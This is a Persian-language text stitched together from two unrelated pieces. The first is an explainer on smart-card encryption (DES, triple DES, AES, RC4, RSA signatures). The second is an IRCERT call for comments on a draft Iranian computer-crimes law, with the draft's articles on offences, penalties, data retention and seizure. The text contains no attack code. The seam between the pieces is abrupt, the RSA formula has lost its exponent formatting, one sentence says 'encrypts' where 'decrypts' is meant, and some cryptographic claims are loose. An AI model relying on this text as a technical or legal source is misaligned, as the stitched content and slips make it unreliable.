یک الگوریتم متقارن از یک کلید برای رمزنگاری و رمزگشایی استفاده می‌کند. بیشترین شکل استفاده از رمزنگاری که در کارتهای هوشمند و البته در بیشتر سیستمهای امنیت اطلاعات وجود دارد data encryption algorithm یا DEA است که بیشتر بعنوان DES‌ شناخته می‌شود. DES یک محصول دولت ایالات متحده است که امروزه بطور وسیعی بعنوان یک استاندارد بین‌المللی شناخته ‌می‌شود. بلوکهای ۶۴بیتی دیتا توسط یک کلید تنها که معمولا ۵۶بیت طول دارد، رمزنگاری و رمزگشایی می‌شوند. DES‌ از نظر محاسباتی ساده است و براحتی می‌تواند توسط پردازنده‌های کند (بخصوص آنهایی که در کارتهای هوشمند وجود دارند) انجام گیرد.

این روش بستگی به مخفی‌بودن کلید دارد. بنابراین برای استفاده در دو موقعیت مناسب است: هنگامی که کلیدها می‌توانند به یک روش قابل اعتماد و امن توزیع و ذخیره شوند یا جایی که کلید بین دو سیستم مبادله می‌شوند که قبلا هویت یکدیگر را تایید کرده‌اند عمر کلیدها بیشتر از مدت تراکنش طول نمی‌کشد. رمزنگاری DES عموما برای حفاظت دیتا از شنود در طول انتقال استفاده می‌شود.

کلیدهای DES ۴۰بیتی امروزه در عرض چندین ساعت توسط کامپیوترهای معمولی شکسته می‌شوند و بنابراین نباید برای محافظت از اطلاعات مهم و با مدت طولانی اعتبار استفاده شود. کلید ۵۶بیتی عموما توسط سخت‌افزار یا شبکه‌های بخصوصی شکسته می‌شوند. رمزنگاری DESسه‌تایی عبارتست از کدکردن دیتای اصلی با استفاده از الگوریتم DES‌ که در سه مرتبه انجام می‌گیرد. (دو مرتبه با استفاده از یک کلید به سمت جلو (رمزنگاری) و یک مرتبه به سمت عقب (رمزگشایی) با یک کلید دیگر) مطابق شکل زیر:

این عمل تاثیر دوبرابر کردن طول مؤثر کلید را دارد؛ بعدا خواهیم دید که این یک عامل مهم در قدرت رمزکنندگی است.

الگوریتمهای استاندارد جدیدتر مختلفی پیشنهاد شده‌اند. الگوریتمهایی مانند Blowfish و IDEA برای زمانی مورد استفاده قرار گرفته‌اند اما هیچکدام پیاده‌سازی سخت‌افزاری نشدند بنابراین بعنوان رقیبی برای DES برای استفاده در کاربردهای میکروکنترلی مطرح نبوده‌اند. پروژه استاندارد رمزنگاری پیشرفته دولتی ایالات متحده (AES) الگوریتم Rijndael را برای جایگزیتی DES بعنوان الگوریتم رمزنگاری اولیه انتخاب کرده است. الگوریتم Twofish مشخصا برای پیاده‌سازی در پردازنده‌های توان‌ـ‌پایین مثلا در کارتهای هوشمند طراحی شد.

در ۱۹۹۸ وزارت دفاع ایالات متحده تصمیم گرفت که الگوریتمها Skipjack و مبادله کلید را که در کارتهای Fortezza استفاده شده بود، از محرمانگی خارج سازد. یکی از دلایل این امر تشویق برای پیاده‌سازی بیشتر کارتهای هوشمند برپایه این الگوریتمها بود.

برای رمزنگاری جریانی (streaming encryption) (که رمزنگاری دیتا در حین ارسال صورت می‌گیرد بجای اینکه دیتای کدشده در یک فایل مجزا قرار گیرد) الگوریتم RC4‌ سرعت بالا و دامنه‌ای از طول کلیدها از ۴۰ تا ۲۵۶ بیت فراهم می‌کند. RC4 که متعلق به امنیت دیتای RSA‌ است، بصورت عادی برای رمزنگاری ارتباطات دوطرفه امن در اینترنت استفاده می‌شود.

۲-۲ سیستمهای کلید نامتقارن

سیستمهای کلید نامتقارن از کلید مختلفی برای رمزنگاری و رمزگشایی استفاده می‌کنند. بسیاری از سیستمها اجازه می‌دهند که یک جزء (کلید عمومی یا public key) منتشر شود در حالیکه دیگری (کلید اختصاصی یا private key) توسط صاحبش حفظ شود. فرستنده پیام، متن را با کلید عمومی گیرنده کد می‌کند و گیرنده آن را با کلید اختصاصی خودش رمزنگاری میکند. بعبارتی تنها با کلید اختصاصی گیرنده می‌توان متن کد شده را به متن اولیه صحیح تبدیل کرد. یعنی حتی فرستنده نیز اگرچه از محتوای اصلی پیام مطلع است اما نمی‌تواند از متن کدشده به متن اصلی دست یابد، بنابراین پیام کدشده برای هرگیرنده‌ای بجز گیرنده مورد نظر فرستنده بی‌معنی خواهد بود. معمولترین سیستم نامتقارن بعنوان RSA‌ شناخته می‌شود (حروف اول پدیدآورندگان آن یعنی Rivest ، Shamir و Adlemen است). اگرچه چندین طرح دیگر وجود دارند. می‌توان از یک سیستم نامتقارن برای نشاندادن اینکه فرستنده پیام همان شخصی است که ادعا می‌کند استفاده کرد که این عمل اصطلاحا امضاء نام دارد. RSA شامل دو تبدیل است که هرکدام احتیاج به بتوان‌رسانی ماجولار با توانهای خیلی طولانی دارد:

  • امضاء، متن اصلی را با استفاده از کلید اختصاصی رمز می‌کند؛
  • رمزگشایی عملیات مشابه‌ای روی متن رمزشده اما با استفاده از کلید عمومی است. برای تایید امضاء بررسی می‌کنیم که آیا این نتیجه با دیتای اولیه یکسان است؛ اگر اینگونه است، امضاء توسط کلید اختصاصی متناظر رمزشده است.

به بیان ساده‌تر چنانچه متنی از شخصی برای دیگران منتشر شود، این متن شامل متن اصلی و همان متن اما رمز شده توسط کلید اختصاصی همان شخص است. حال اگر متن رمزشده توسط کلید عمومی آن شخص که شما از آن مطلعید رمزگشایی شود، مطابقت متن حاصل و متن اصلی نشاندهنده صحت فرد فرستنده آن است، به این ترتیب امضای فرد تصدیق می‌شود. افرادی که از کلید اختصاصی این فرد اطلاع ندارند قادر به ایجاد متن رمز‌شده‌ نیستند بطوریکه با رمزگشایی توسط کلید عمومی این فرد به متن اولیه تبدیل شود.

اساس سیستم RSA این فرمول است: X = Yk (mod r)

که X متن کد شده، Y متن اصلی، k کلید اختصاصی و r حاصلضرب دو عدد اولیه بزرگ است که با دقت انتخاب شده‌اند. برای اطلاع از جزئیات بیشتر می‌توان به مراجعی که در این زمینه وجود دارد رجوع کرد. این شکل محاسبات روی پردازنده‌های بایتی بخصوص روی ۸ بیتی‌ها که در کارتهای هوشمند استفاده می‌شود بسیار کند است. بنابراین، اگرچه RSA هم تصدیق هویت و هم رمزنگاری را ممکن می‌سازد، در اصل برای تایید هویت منبع پیام از این الگوریتم در کارتهای هوشمند استفاده می‌شود و برای نشاندادن عدم تغییر پیام در طول ارسال و رمزنگاری کلیدهای آتی استفاده می‌شود.

سایر سیستمهای کلید نامتقارن شامل سیستمهای لگاریتم گسسته می‌شوند مانند Diffie-Hellman، ElGamal و سایر طرحهای چندجمله‌ای و منحنی‌های بیضوی. بسیاری از این طرحها عملکردهای یک‌ـ‌طرفه‌ای دارند که اجازه تاییدهویت را می‌دهند اما رمزنگاری ندارند. یک رقیب جدیدتر الگوریتم RPK‌ است که از یک تولیدکننده مرکب برای تنظیم ترکیبی از کلیدها با مشخصات مورد نیاز استفاده می‌کند. RPK یک پروسه دو مرحله‌ای است: بعد از فاز آماده‌سازی در رمزنگاری و رمزگشایی (برای یک طرح کلید عمومی) رشته‌هایی از دیتا بطور استثنایی کاراست و می‌تواند براحتی در سخت‌افزارهای رایج پیاده‌سازی شود. بنابراین بخوبی با رمزنگاری و تصدیق‌هویت در ارتباطات سازگار است.

طولهای کلیدها برای این طرحهای جایگزین بسیار کوتاهتر از کلیدهای مورد استفاده در RSA‌ است که آنها برای استفاده در چیپ‌کارتها مناسب‌تر است. اما ‌RSA‌ محکی برای ارزیابی سایر الگوریتمها باقی مانده است؛ حضور و بقای نزدیک به سه‌دهه از این الگوریتم، تضمینی در برابر ضعفهای عمده بشمار می‌رود.


﻿ IRCERT - قانون مجازات جرایم رایانه ای

گروه امداد امنیت کامپیوتری ایران قصد دارد تا نظرات کارشناسان ، متخصصان و کاربران را درباره پیش نویس ارائه شده برای قانون مجازات جرایم رایانه ای جمع آوری نموده و پس از جمع بندی در سایت ارائه دهد. امید است انجام این کار باعث شود قانون گذاران از نظرات کارشناسان و کاربران نیز آگاه شوند و درصورت امکان تغییرات لازم را پیش از تصویب در قانون اعمال نمایند. لذا خواهشمندیم پس از مطالعه پیش نویس قانون، نظرات خود را برای ما به نشانی info@ircert.com ارسال نمایید.

قانون مجازات جرایم رایانه ای

بخش اول: تعاریف

ماده 1- در این قانون اصطلاحات در معانی ذیل بکار رفته‌اند:

الف- سیستم رایانه‌ای (Computer System)
هر نوع دستگاه یا مجموعه‌ای از دستگاه‌های متصل سخت‌افزاری ـ نرم‌افزاری است که از طریق اجرای برنامه‎های پردازش خودکار داده عمل می‎کند.

ب- سیستم مخابراتی (System Communication )
هر نوع دستگاه یا مجموعه‌ای از دستگاه‌ها برای انتقال الکترونیکی اطلاعات بین یک منبع (فرستنده, منبع نوری) و یک گیرنده یا آشکارساز نوری از طریق یک یا چند مسیر ارتباطی بوسیله پروتکل‌هایی که برای گیرنده قابل فهم و تفسیر باشد .

ج- داده رایانه‌ای (Computer Data )
هر نمادی از وقایع، اطلاعات یا مفاهیم به شکلی مطلوب برای پردازش در یک سیستم رایانه‌ای که شامل برنامه‌ای مناسب است و باعث می‌شود که سیستم رایانه‌ای عملکرد خود را به مرحله اجرا گذارد. داده دارای ارزش مالی است.

د- داده محتوا (Data Content)
هر نمادی از موضوعات، مفاهیم یا دستورالعمل‌ها نظیر متن، صوت یا تصویر، چه به صورت در جریان یا ذخیره شده که جهت برقراری ارتباط میان سیستم‎های رایانه‌ای یا پردازش توسط شخص یا سیستم رایانه‌ای بکار گرفته شده و بوسیلة سیستم رایانه‌ای ایجاد شود.

هـ - داده‌ حاصل از تبادل داده محتوا traffic data) )
هرگونه داده‌ای که توسط رایانه ها در زنجیره ارتباطات تولید می‌شود تا ارتباطی را از مبدأ تا مقصد مسیریابی کند و شامل مبدأ ارتباط، مقصد ، مسیر، زمان، تاریخ، اندازه، مدت زمان و نوع خدمات اصلی و غیره خواهد بود.

و- اطلاعات (information )
داده‌، متن، تصویر، صدا، کد، برنامه‌ رایانه‌ای، نرم‌افزار و پایگاه داده‌ یا مایکروفیلم یا مایکروفیش ایجاد شده رایانه‌ای می‌باشد.

ز- اطلاعات مشترک (Subscriber information )
هر گونه اطلاعاتی که در دست تأمین کننده خدمات وجود داشته و مربوط به مشترک آن خدمات بوده و شامل نوع خدمات ارتباطی و پیش‌نیازهای فنی و دوره استفاده از آن خدمات، هویت مشترک، آدرس IP یا پستی یا جغرافیایی، شماره تلفن و سایر مشخصات شخصی وی می شود.

ح- ارائه‌کننده خدمات (Service Provider )
هر شخص حقیقی یا حقوقی است که برای کاربر خدماتش امکان برقراری ارتباط با سیستم کامپیوتری را فراهم ‌آورده یا داده رایانه‌ای را به جای ارائه دهنده خدمات ارتباطی یا کاربران آن پردازش یا ذخیره می‌کند.

بخش دوم : جرایم و مجازاتها

ماده2- هر کس عمداً و بدون مجوز، با نقض تدابیر حفاظتی داده ها یا سیستم‌های رایانه‌ای یا مخابراتی، به آنها دسترسی یابد به حبس از نود و یک روز تا یک سال یا پرداخت جزای نقدی از دو میلیون و پانصد هزار تا ده میلیون ریال محکوم خواهد شد.

ماده3- هر کس عمداً و بدون مجوز داده‌‌های در حال انتقال غیر عمومی در یک ارتباط خصوصی به، یا از یک یا چند سیستم رایانه ای یا مخابراتی یا امواج الکترو مغناطیسی را شنود یا دریافت نماید به حبس از نود و یک روز تا یک سال یا پرداخت جزای نقدی از دو میلیون و پانصد هزار تا ده میلیون ریال محکوم خواهد شد.

ماده 4- هرکس عمداً و بدون مجوز نسبت به داده‌های سری در حال انتقال یا موجود در سیستم‌های رایانه‌ای یا مخابراتی یا در حامل های داده که واجد ارزش برای امنیت داخلی یا خارجی کشور باشد، مرتکب اعمال زیر شود به مجازات‌های زیر محکوم می‌گردد:

الف ـ دسترسی به داده‌های موضوع این ماده یا تحصیل آنها به حبس از یک سال تا سه سال و پرداخت جزای نقدی از ده میلیون تا سی میلیون ریال
ب ـ قرار دادن داده‌های مذکور در دسترس اشخاص فاقد صلاحیت دسترسی به حبس از دو سال تا ده سال
ج ـ افشا و یا قرار دادن داده‌های مذکور در دسترس دولت، سازمان، شرکت، قدرت و یا گروه بیگانه یا عاملین آنها به حبس از پنج تا پانزده سال

تبصره1ـ داده‌های سری، داده‌هایی هستند که افشای آنها به امنیت کشور و یا منافع ملی صدمه وارد سازد.

تبصره 2ـ آیین نامه طرز تعیین و تشخیص داده‌های سری و نحوه طبقه‌بندی و حفاظت آنها ظرف سه ماه از تاریخ تصویب این قانون توسط وزارت دادگستری و با همکاری وزارتخانه‌های کشور، اطلاعات، ارتباطات و فن‌آوری اطلاعات و دفاع وپشتیبانی نیروهای مسلح تهیه و به تصویب هیئت وزیران خواهد رسید.

ماده 5 - هر کس به قصد دسترسی به داده‌های سری موضوع ماده 4 با نقض تدابیر امنیتی، به سیستم‎های رایانه‌ای و مخابراتی مربوط دست یابد به حبس از شش ماه تا دو سال یا پرداخت جزای نقدی از پنج میلیون تا بیست میلیون ریال محکوم خواهد شد.

ماده 6 - هر یک از مأمورین دولتی که به‌نحوی امین، مسئول حفظ امنیت و یا حفاظت فنی داده‌های موضوع ماده 4 این قانون و یا سیستم‌های مربوط باشند و در اثر بی‌احتیاطی، بی‌مبالاتی و یا عدم رعایت اصول حفاظتی سبب دسترسی اشخاص فاقد صلاحیت دسترسی به داده‌ها، حامل داده‌ها و یا سیستم‌های مذکور در ماده فوق گردند، به حبس از شش ماه تا دو سال یا پرداخت جزای نقدی از پنج میلیون ریال تا بیست میلیون ریال و محرومیت از خدمات دولتی تا پنج سال محکوم می گردد.

ماده 7- هر کس به قصد تقلب، داده های رایانه ای و مخابراتی دارای ارزش اثباتی را تغییر داده یا ایجاد ، محو یا متوقف نماید، مرتکب جعل رایانه ای بوده و علاوه بر جبران خسارت وارده، به حبس از یک سال تا هفت سال یا پرداخت جزای نقدی از ده میلیون تا هفتاد میلیون ریال محکوم خواهد شد.

ماده 8- هرکس داده‌های مذکور در ماده 7 را با علم به مجعول بودن آنها، مورد استفاده قرار دهد، علاوه بر جبران خسارات وارده به حبس از یک‌سال تا پنج سال و یا پرداخت جزای نقدی از ده میلیون تا پنجاه میلیون ریال محکوم خواهد شد.

ماده 9- هر کس به قصد تقلب با ایجاد، تغییر، متوقف کردن یا از بین بردن داده‌ها یا سایر علایم و کدهای قابل پردازش در سیستم رایانه‌ای یا مخابراتی، کارت‌های اعتباری یا مغناطیسی یا سایر کارت‌های قابل پردازش یا مورد استفاده در سیستم‌های مزبور را جعل نماید یا با اعمال فوق نسبت به آنها مرتکب تقلب گردد به حبس از نود و یک روز تا سه سال یا پرداخت جزای نقدی از دو میلیون و پانصد هزار ریال تا سی میلیون ریال محکوم خواهد شد.

ماده 10- هر کس به قصد اضرار، داده‌های دیگری را از سیستم رایانه‌ای یا مخابراتی یا ازحامل‌های داده پاک نماید یا صدمه بزند یا دستکاری کند یا غیر قابل استفاده نماید و یا به هر نحو تخریب یا مختل نماید به طوریکه منتهی به ضرر غیر شود به حبس از شش ماه تا دو سال و یا پرداخت جزای نقدی از پنج میلیون تا بیست میلیون ریال محکوم می‌گردد.

ماده 11- هر کس عمدا با انجام اعمالی از قبیل وارد کردن، انتقال دادن، ارسال، پخش، صدمه زدن، پاک کردن، ایجاد وقفه، دستکاری یا تخریب داده‌ها یا امواج الکترومغناطیسی، سیستم رایانه‌ای یا مخابراتی دیگری را غیر قابل استفاده کرده یا عملکرد آنها را مختل نماید به حبس از شش ماه تا دو سال و یا پرداخت جزای نقدی از پنج میلیون تا بیست میلیون ریال محکوم می‌گردد.

ماده 12- هر کس عمدا از طریق سیستم رایانه‌ای یا مخابراتی یا بوسیله امواج الکترومغناطیسی و با انجام اعمالی از قبیل مخفی کردن داده‌ها، تغییر رمز ورود ویا رمزنگاری داده‌‌ها، مانع دستیابی اشخاص مجاز به داده‌ها یا سیستم رایانه‌ای یا مخابراتی گردد به حبس از نود و یک روز تا یک سال و یا پرداخت جزای نقدی از دو میلیون و پانصد هزار تا ده میلیون ریال محکوم می‌گردد.

ماده 13- هر کس با انجام اعمالی نظیر وارد کردن ، تغییر ، محو ،ایجاد، توقف داده‌ها یا مداخله در عملکرد سیستم و نظایر آن، از سیستم رایانه‌ای یا مخابراتی سوء استفاده نماید و از این طریق وجه یا مال یا منفعت یا خدمات مالی یا امتیازات مالی برای خود یا دیگری تصاحب یا تحصیل کند در حکم کلاهبردار محسوب و به حبس از یک سال تا هفت سال و پرداخت جزای نقدی معادل وجه یا مال یا قیمت منفعت یا خدمات مالی یا امتیازات مالی که تحصیل کرده است، محکوم می‌شود.

تبصره: مجازت شروع به این جرم ، حداقل مجازات حبس مقرر خواهد بود

ماده 14- هر کس از کارت‌های موضوع ماده 9 این قانون سوء استفاده نماید و از این طریق مال یا وجه یا مزایای مالی یا خدمات مالی تحصیل یا تصاحب کند، علاوه بر جبران خسارات وارده به حبس از یک تا سه سال و پرداخت جزای نقدی معادل وجه یا مال یا قیمت منفعت یا خدمات مالی یا امتیازات مالی که تحصیل کرده است، محکوم می‌گردد.

ماده 15- هر کس از طریق سیستم رایانه‌ای یا مخابراتی محتویات مستهجن از قبیل نمایش اندام جنسی زن و مرد یا نمایش آمیزش یا عمل جنسی انسان یا انسان با حیوان را تولید کند یا منتشر سازد یا مورد هر قسم معامله قرار دهد، به حبس از نودو یک روز تا یک سال یا پرداخت جزای نقدی از دو میلیون و پانصد هزار تا ده میلیون ریال و یا به هر دو مجازات محکوم خواهد شد.

تبصره1: چنانچه محتویات موضوع این ماده در دسترس اشخاص زیر 18 سال تمام قرار داده شود یا برای آنها منتشر یا ارائه گردد مرتکبین به حداکثر یک یا هر دو مجازات مقرر محکوم خواهند شد.

تبصره2: تولید محتویات غیرواقعی (از طریق پویا نمایی، طراحی و نقاشی) با قصد انتشار یا معامله مشمول مقررات این ماده است.

ماده 16- هر کس از طریق سیستم رایانه‌ای یا مخابراتی مرتکب اعمال زیر شود، در مورد جرایم موضوع بند الف به حبس از یک سال تا سه سال یا پرداخت جزای نقدی از سه میلیون تا پانزده میلیون ریال یا به هر دو مجازات و در مورد جرایم موضوع بند ب و ج به حبس از نود و یک روز تا یک سال یا جزای نقدی از دو میلیون و پانصد هزار تا ده میلیون ریال یا به هر دو مجازات محکوم خواهد شد.

الف) محتویات مستهجن از قبیل نمایش اندام جنسی یا نمایش آمیزش یا عمل جنسی اشخاص زیر 18 سال یا ظاهراً زیر 18 سال تمام تولید یا ارایه یا منتشر یا ذخیره‌سازی یا تهیه یا در دسترس دیگران قرار دهد.
ب ) به منظور دستیابی اشخاص زیر 18 سال تمام به محتویات موضوع بند الف این ماده یا ماده قبل، مبادرت به تبلیغ یا تحریک یا تشویق یا دعوت یا فریب یا تهدید آنها نموده یا طریق دستیابی به محتویات مذکور را تسهیل نموده یا آموزش دهد.
ج) به منظور ارتکاب جرایم و انحرافات جنسی یا سایر جرایم یا خودکشی یا استعمال مواد روانگردان اشخاص زیر 18 سال تمام را آموزش داده یا تبلیغ یا تحریک یا تهدید یا تشویق یا دعوت نموده یا فریب دهد یا طریق ارتکاب یا استعمال آنها را تسهیل نماید یا آموزش دهد.

تبصره 1: تولید یا ذخیره‌سازی یا تهیه محتویات غیر واقعی چنانچه به قصد ارایه یا انتشار یا قرار دادن در دسترس دیگران نباشد از شمول این ماده مستثنی است.

تبصره2: مفاد دو ماده فوق شامل آن دسته از محتویاتی که برای استفاده متعارف علمی یا هر مصلحت عقلایی دیگر ارایه می‌گردد، نخواهد بود.

ماده 17- هر کس از طریق سیستم رایانه‌ای یا مخابراتی فیلم یا تصویر یا صوت دیگری را تغییر دهد یا تحریف نماید و منتشر سازد یا با علم به تحریف یا تغییر، انتشار دهد، به نحوی که منجر به هتک حرمت یا ضرر غیر گردد به حبس از نود ویک روز تا شش ماه یا پرداخت جزای نقدی از دو میلیون و پانصد هزار تا پنج میلیون ریال محکوم خواهد شد.

تبصره: ارتکاب جرم موضوع این ماده نسبت به مقام رهبری یا روسای قوای سه گانه مستوجب حداکثر حبس یا جزای نقدی مقرر در این ماده خواهد بود.

ماده 18- هر کس از طریق سیستم رایانه‌‌ای یا مخابراتی فیلم یا تصویر یا صوت یا اسرار خصوصی یا خانوادگی دیگری را بدون رضایت وی منتشر نماید یا در دسترس دیگران قرار دهد، به نحویکه منجر به ضرر غیر گردد یا عرفاً موجب هتک حیثیت وی شود به حبس از نود و یک روز تا شش ماه یا پرداخت جزای نقدی از دو میلیون و پانصد هزار تا پنج میلیون ریال محکوم خواهد شد.

ماده 19- هر کس از طریق سیستم رایانه‌ای یا مخابراتی اکاذیبی را منتشر نماید یا در دسترس دیگران قرار دهد یا اعمالی را بر خلاف حقیقت راساً یا به عنوان نقل قول به شخص حقیقی یا حقوقی یا مقامات رسمی نسبت دهد به نحویکه موجب تشویش اذهان عمومی یا مقامات رسمی یا ضرر غیر شود، علاوه بر اعاده حیثیت به حبس از سه ماه و یک روز تا شش ماه یا پرداخت جزای نقدی از دو میلیون و پانصد هزار تا پنج میلیون ریال محکوم خواهد شد.

تبصره: جرایم موضوع مواد 17 (به اسثتثنای تبصره این ماده) 18 و 19 (به استثنای نشر یا در دسترس قرار دادن اکاذیب یا نسبت دادن اعمال خلاف حقیقت که موجب تشویق اذهان عمومی یا مقامات رسمی گردد) جز با شکایت شاکی خصوصی تعقیب نمی‌شود و با گذشت وی تعقیب موقوف خواهد شد.

ماده 20- ایجادکنندگان نقطه تماس بین‌المللی موظفند امکان دستیابی به محتویات موضوع ماده 15 وبند الف ماده 16 را متوقف سازند، در غیر اینصورت به مجازات مقرر در مادة 25 همین قانون محکوم خواهند شد، سایر ارائه‌کنندگان خدمات اینترنتی نیز که با علم به تخلف اشخاص فوق، خدماتی را دریافت و امکان دستیابی به این محتویات را فراهم نمایند به مجازات فوق محکوم خواهند شد.

ماده 21- به منظور جلوگیری از ادامة ارائه یا انتشار محتویات موضوع مواد 15 و بند الف ماده 16 ارائه‌کنندگان خدمات میزبانی موظفند:

الف ـ نسبت به محتوای موجود درسایت‌های تحت میزبانی خود نظارت نمایند، چنانچه عدم نظارت یا بی مبالاتی وی در نظارت منجر به ادامة ارائه یا انتشار محتویات فوق گردد به مجازات مقرر در ماده 25 همین قانون محکوم خواهند شد.
ب ـ به محض اطلاع از وجود محتویات فوق در هر یک از سیستم‌های تحت میزبانی خود مراجع قضایی یا انتظامی را مطلع نموده و اقدامات لازم را در جهت توقف و در صورت امکان حفاظت از داده‌های مربوطه به عمل آورند. در غیر این صورت به مجازات مقرر در ماده 25 همین قانون محکوم خواهند شد.

تبصره: تعیین مقررات نظارتی موضوع این ماده بر اساس آئین‌نامه‌ای است که توسط وزارت ارتباطات و فناوری اطلاعات ظرف سه ماه از تاریخ تصویب این قانون تهیه شده و به تصویب هیأت دولت خواهد رسید.

ماده 22- هر کس مرتکب اعمال ذیل گردد، به حبس از نود و یک روز تا یک سال یا پرداخت جزای نقدی از دو میلیون و پانصد هزار تا ده میلیون ریال محکوم می‌گردد.

الف ـ تولید، انتشار، توزیع، یا مورد معامله قرار دادن داده‎ها یا نرم‎افزارها یا هر نوع وسایل الکترونیکی که به منظور ارتکاب یکی از جرایم رایانه‎ای مورد استفاده قرار می‎گیرند.
ب ـ فروش، انتشار رمز عبور، کد دستیابی یا داده‎های رایانه‎ای به طور غیرمجاز به نحوی که به وسیلة آن سیستم رایانه‎ای یا مخابراتی یا داده‎های مربوطه قابل دستیابی باشد.

تبصره: چنانچه مرتکب اعمال فوق را حرفة خود قرار داده باشد، به هر دو مجازات محکوم خواهد شد.

ماده 23- در موارد زیر، چنانچه جرایم رایانه‎ای مندرج در این قانون، تحت نام شخص حقوقی و در راستای منافع آن ارتکاب یابد، شخص حقوقی دارای مسؤولیت کیفری خواهد بود:

الف ـ هرگاه مدیر شخص حقوقی مرتکب یکی از جرایم مندرج در این قانون شود.
ب ـ هرگاه مدیر شخص حقوقی دستور ارتکاب یکی از جرایم مندرج در این قانون را صادر نماید و جرم بوقوع پیوندد.
ج ـ هرگاه یکی از کارمندان شخص حقوقی، با اطلاع مدیر یا در اثر عدم نظارت وی، مرتکب یکی از جرایم مندرج در این قانون شود.
د ـ هرگاه مدیر، در ارتکاب یکی از جرایم مندرج در این قانون معاونت نماید.
هـ ـ هرگاه تمام یا قسمتی از موضوع فعالیت عملی شخص حقوقی، به ارتکاب یکی از جرایم موضوع این قانون اختصاص یافته باشد.

تبصره 1- منظور از مدیر در این ماده هر شخصی است که اختیار نمایندگی یا تصمیم‎گیری یا نظارت بر شخص حقوقی را دارا می‎باشد.

تبصره 2- مسؤولیت کیفری شخص حقوقی مانع مجازات مرتکب نخواهد بود.

تبصره 3- کلیة فعالیت‎های نهادهای دولتی که در راستای اعمال حاکمیت می‎باشد، از شمول این ماده مستثنی خواهد بود.

ماده 24- اشخاص حقوقی موضوع مادة فوق، با توجه به شرایط و اوضاع و احوال جرم ارتکابی، میزان درآمد و نتایج حاصله از ارتکاب جرم، به ترتیب ذیل محکوم خواهند شد:

الف ـ سه تا شش برابر حداکثر جزای نقدی جرم ارتکابی؛
ب ـ چنانچه حداکثر مجازات حبس آن جرم تا پنج سال باشد، تعطیلی موقت شخص حقوقی از یک تا 9 ماه
ج ـ چنانچه حداکثر مجازات حبس آن جرم بیش از پنج سال باشد تعطیلی موقت شخص حقوقی از یک تا سه سال و در صورت تکرار جرم منحل خواهد شد.

تبصره1ـ مدیر شخص حقوقی که مطابق بند 3 این ماده منحل می‎شود تا پنج سال حق تأسیس یا نمایندگی یا تصمیم‎گیری یا نظارت بر شخص حقوقی دیگر را نخواهد داشت.

تبصره 2ـ خسارات شاکی خصوصی از اموال شخص حقوقی جبران خواهد شد. در صورتی که اموال شخص حقوقی به تنهایی تکافو نکند، مابه‎التفاوت از اموال مرتکب جبران خواهد شد.

ماده 25- متخلفین از بند ب ماده 21 و مواد 30، 31 و32 این قانون به حبس از نود و یک روز تا یک سال یا پرداخت جزای نقدی از ده میلیون تا صد میلیون ریال محکوم خواهند شد.

ماده 26- هر گاه مرتکبین جرایم موضوع این قانون قبل از کشف جرم یا دستگیری، مامورین تعقیب را از وقوع جرم مطلع نمایند یا به نحو موثری در کشف جرم کمک و راهنمایی کنند یا موجبات تعقیب سایر مرتکبین را فراهم آورند و یا در جبران خسارت وارده مساعدت کنند در مجازات آنان تخفیف داده خواهد شد یا مجازات حبس حسب مورد معلق خواهد شد و در جرایم موضوع ممانعت در دسترسی، دسترسی غیرمجاز ، شنود غیرمجاز ، تخریب داده‌ها یا اختلال در سیستم و جعل کامپیوتری دادگاه می‌تواند مرتکب را از مجازات مقرر معاف نماید.

ماده 27- چنانچه هر یک از مستخدمین و مأمورین دولتی اعم از قضایی و اداری یا شوراها یا شهرداری‌ها یا نهادهای انقلابی و به طور کلی قوای سه گانه و همچنین نیروهای مسلح یا شرکت‌های دولتی یا سازمان‌های دولتی وابسته به دولت و یا مأمورین به خدمات عمومی خواه رسمی یا غیر رسمی به مناسب انجام وظیفه مرتکب یکی از جرایم موضوع این قانون شود و یا جرم بر اثر تبانی بیش از دو نفر واقع شود، مرتکب به بیش از دو سوم حداکثر مجازات حبس یا جزای نقدی مقررمحکوم خواهد گردید.

تبصره- چنانچه عمل مرتکب معاونت باشد به نصف حداکثر مجازات مقرر قانونی محکوم خواهد شد.

بخش سوم: آیین دادرسی

ماده 28- در هر حوزه قضایی به تشخیص رئیس قوه قضاییه به تعداد مورد نیاز، شعبی از دادسراها و دادگاه‌های عمومی و انقلاب و تجدیدنظر و کیفری استان برای رسیدگی به جرایم رایانه‎ای اختصاص می‎یابد.

تبصره- قضات دادسراها و دادگاه‌های مذکور ترجیحا از بین قضاتی که آشنایی لازم به امور رایانه‌ای دارند، انتخاب خواهند شد.

ماده 29- در صورت حدوث اختلاف در صلاحیت، حل اختلاف مطابق مقررات قانون آیین دادرسی مدنی دادگاههای عمومی و انقلاب خواهد بود.

ماده 30- کلیه ایجادکنندگان نقاط تماس بین‌المللی و ارائه‌کنندگان خدمات اطلاع رسانی و اینترنتی موظفند داده‌های حاصل از تبادل داده محتوا را حداقل تا سه ماه پس از ایجاد و داده‌های مشترک را حداقل تا سه ماه پس از خاتمه اشتراک نگهداری نمایند.
تبصره: مراجع مذکور موظفند آدرس‌های IP خود را به اداره کل مبارزه با جرایم رایانه‌ای نیروی انتظامی اعلام نمایند.

ماده 31- هر گاه حفظ داده‌های ذخیره شده برای تحقیق یا دادرسی لازم باشد مقام قضایی می‌تواند دستور حفاظت از داده‌های ذخیره شده را به اشخاصی که داده‌های مذکور به نحوی تحت تصرف یا کنترل آنها قرار دارد، صادر نماید و در موارد فوری ضابطین دادگستری می‌‌توانند دستور حفاظت را صادر و مراتب را حداکثر تا 24 ساعت به اطلاع مقام قضایی برسانند. چنانچه هریک از مقامات دولتی از اجرای دستور مذکور خودداری نمایند علاوه بر مجازات مقرر در خصوص سایر افراد به انفصال از خدمات دولتی از یک تا پنج سال محکوم خواهند شد.

تبصره ـ مدت زمان حفاظت حداکثر سه ماه می باشدو با نظر مقام قضایی قابل تمدید است.

ماده 32 ـ مقامات قضایی می‌توانند دستور افشای داده‌های حفاظت شده مذکور درماده 33 را به اشخاصی که داده‌های مذکور را در تصرف و یا کنترل دارند صادر تا در اختیار ضابطین قرار گیرد .

ماده 33- تفتیش و توقیف داده‌ها و یا سیستم‎های رایانه‌ای در مواردی بعمل می‌آید که حسب دلایل ظن قوی به کشف جرم یا شناسایی متهم یا ادله جرم در آنها وجود داشته باشد.

ماده 34- تفتیش و توقیف داده‌ها و یا سیستم‌های رایانه‌ای با دستور مقام قضایی صورت می‌گیرد و در جرائم مشهود و فوریت امر ضابطین دادگستری می‌توانند بدون دستور قضایی اقدام و ظرف 24 ساعت مراتب را به مقام قضایی اعلام نمایند.

